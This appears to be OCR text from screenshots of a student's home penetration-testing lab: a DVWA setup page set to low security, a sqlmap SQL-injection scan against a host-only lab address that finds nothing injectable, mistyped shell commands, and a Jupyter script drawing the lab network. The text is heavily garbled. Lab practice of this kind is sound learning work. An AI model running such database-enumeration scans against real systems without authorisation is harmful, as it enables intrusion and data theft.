Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's pubiic htmi folder or
any intemet facing web server as it will be compromised. We recommend downloading and installing XAMPE
onto a local machine inside your LAN which s used solely for testing.

We do not take responsibillty for the way in which any one uses this appiication. We have made the purposes of
the application clear and it should not be used maliciously. We have given warnings and taken measures to
prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation
of DVWA it is not our responsibilty it i the responsibilty of the person/s who ploaded and installed it

General Instructions

“The help button allows you to view hits/tips for each vulnerability and for each security level on their respective
page.

You have logged in as ‘admin’

Qou@gs Eﬁl@wk-sﬁ-cm
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Script Security

Security Level is currently low.

You can set the securit level to low, medium or high.

The securiy level changes the vulnerabilty level of DVWA.

low | [submit

PHPIDS

PHPIDS v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
You can enable PHPIDS across this site for the duration of your session

PHPIDS is currently disabled. [enable PHPIDS]

[Simulate attack] - [View IDS log]

Securiy level set to low
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—_ g ! }
= . [IR|
(N o I Y e |
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Usage: python3 sqlmap [options]

sqlmay
[20:4

error: no such option: —crawl
2] [WARNING] your sqlmap version is outdated
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# !E! Important Rules:

= Use xx"double guotes”* not 'single gquotes’

= Make sure '--" has %ktwo dashes*x with NO space

= "?id=1" has a *kquestion markxx before id

“5Submit=Submit has ++capital Sw+ twice &

3

cookie="security-low" —dbs —bat

https: //sqlmap.or:

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to o
bey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by t
his program

[+] starting @ 23:13:36 /2026-04-01/

[23:13:35] [INFO] testing connection to the target URL

got a 302 redirect to 'http://192.168.56.102/dvwa/login.php’. Do you want to follow? [¥/n] Y
[23:13:37] [INFO] checking if the target is protected by some kind of WAF/IPS

[23:13:37] [INFO] testing if the target URL content is stable

[23:13:37] [WARNING] GET parameter 'id’ does not appear to be dynami

[23:13:37] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[23:13:37] [INFO] testing for SQL injection on GET parameter 'id

[23:13:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause
371 [INFO] testing 'Boolean-based blind - Parameter replace (original value)

[23:13
[23:13:37] [INFO] testing 'MySQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)

[23:13:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause

[23:13:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' i YouTube BBC
[23:13:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)

[23:13:38] [INFO] testing 'Generic inline queries

[23:13:38] [INFO] testing 'PostgresqL > 8.1 stacked gueries (comment)

[23:13:38] [WARNING] time-based comparison requires larger statistical model, please wait. (done)

[23:13:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)

[23:13:38] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE MESSAGE - comment)

[23:13:38] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (query SLEEP)

Temps to rise
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[23:13:38] [INFO] testing 'Oracle AND time-based blind
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the
nunber of requests? [Y/n] Y

[INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns

[WARNING] GET parameter 'id' does not seem to be injectable

[WARNING] GET parameter 'Submit' does not appear to be dynami

[WARNING] heuristic (basic) test shows that GET parameter 'Submit' might not be injectable

[INFO] testing for SQL injection on GET parameter 'Submit

FO] testing 'AND boolean-based blind - WHERE or HAVING clause’

[INFO] testing 'Boolean-based blind - Parameter replace (original value)

[INFO] testing 'MysQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)

FO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause

[INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)

[INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)

FO] testing 'Generic inline queries

[INFO] testing 'PostgresqL > 8.1 stacked queries (comment)

[INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'

FO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE MESSAGE - comment)

[INFO] testing "MySQL > 5.0.12 AND time-based blind (query SLEEP)

[INFO] testing 'PostgresqL > 8.1 AND time-based blind

FO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)

[INFO] testing 'Oracle AND time-based blind

[INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns

[WARNING] GET parameter 'Submit' does not seem to be injectable

[22:13:40] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '—level'/'—risk’' options if you wish
to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option
- tamper’ (e.g. - tamper=space2comment') and/or switch '--random-agent

[23:13:40] [WARNING] your sqlmap version is outdated

[*] ending @ 23:13:40 /2026-04-01/

—: command not found
Command 'has’ not found, did you mean
command 'as’ from deb binutils
command 'hts' from deb httptunnel i
command 'kas' from deb kas
command 'cas’ from deb amule-utils
sudo apt install <deb name>

111 76456 I

: command not found
—: command not found

-Make: command not found

Command 'has’ not found, did you mean

O 4% A @236|a c
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[23:13:40] [WARNING] your sqlmap version is outdated

[*] ending @ 23:13:40 /2026-04-01/

[1] 76456

—: command not found

Command 'has’ not found, did you mean
command 'as’ from deb binutils
command 'hts' from deb httptunnel
command 'kas' from deb kas
command 'cas’ from deb amule-utils

Try: sudo apt install <deb name>

-Use: command not found

—: command not found

-Make: command not found

Command 'has’ not found, did you mean
command 'hts' from deb httptunnel
command 'as’ from deb binutils
command 'kas' from deb kas
command 'cas’ from deb amule-utils

Try: sudo apt install <deb name>

Command 'has' not found, did you mean
command 'hts' from deb httptunnel
command 'kas' from deb kas
command 'cas’ from deb amule-utils
command 'as’ from deb binutils

: sudo apt install <deb name>
: command not found
+ exit 127

I_—|.[I] |
I

Usage: python3 sqlmap [options]

https: //sqlmap.or:

ia YouTube BBC

sqlmap: error: no such option: —batchy
[23:13:41] [WARNING] your sqlmap version is outdated

(kali® kali)-[~]
[ |

Temps to drop





image46.png
B [EEE B |[C/n C |EICIRIC Ole |Cle hlel#l& & |Cavela + Q _ 3 X

' C @ localhost8838/notebooks/Untitled19.ipynb? S RBR®O®E >0 LD = @' LA
Z Jupyter Untitled19 st Checkpoint yestersay a
Fle Edit View Run Kemel Settings Help Trusted
B+ XD M » m C » Code v Jupyterlab [7 Python 3 (ipykemel) O

import matplotlib.pyplot as plt
import matplotlib.patches as patches

fig, ax = plt.subplots(figsiz

az, )

Node positions (x, y) -

€
Kali Linux\n192.168.56.104": (1, 3),
‘OASP BHA\M192.168.56.102": (4, 4),
“Metasploitable 2\n192.168.56.101"
‘Windows 7\n192.168.56.103": (7, 3),
‘VirtualBox Host-Only Network\n192.168.56.8/24": (4, 1)

(@, 2),

b

# -~ Draw nodes as rounded boxes
for label, (x, y) in nodes.items():

ax.add_patcn(patches. FancyBooxPatcn(

(1, y-0.5), 2, 1,

boxstyle="round, pac:

lack”,

S8

”

ax.text(x, y, label, ha='center’, va='center, fontsize=9)

# -~ Draw connections (edges) -
def connect(a, b, style:
X1, y1 = nodes[a]

X2, y2 = nodes[b]

ax.plot([xl, x2], [yl, y2l, style, color

‘gray”, linewidtn=2)

# Kali connects to all targets
connect("Kali Linux\n192.168.56.104",
connect("Kali Linux\n192.168.56.104", "Metasploitable 2\n192.168.56.101")
connect("Kali Linux\n192.168.56.104", "Windows 7\n192.168.56.103" a
# AL systens connect to the VirtualBox network
for node in node:
if node 1= "VirtualBox Host-Only Network\n192.168.56.0/24'
connect (node, "VirtualBox Host-Only Network\n192.168.56.0/24" "

‘OWASP BA\192.168.56.162")

ax.set_x1in(o, )

ax.set_ylin(o, 5)

ax.axis('off')

plt.title("Virtual8ox Lab Network Disgram’, fontsize=14, fontweight='bold")
plt.tight_layout()

plt.show()

VirtualBox Lab Network Diagram
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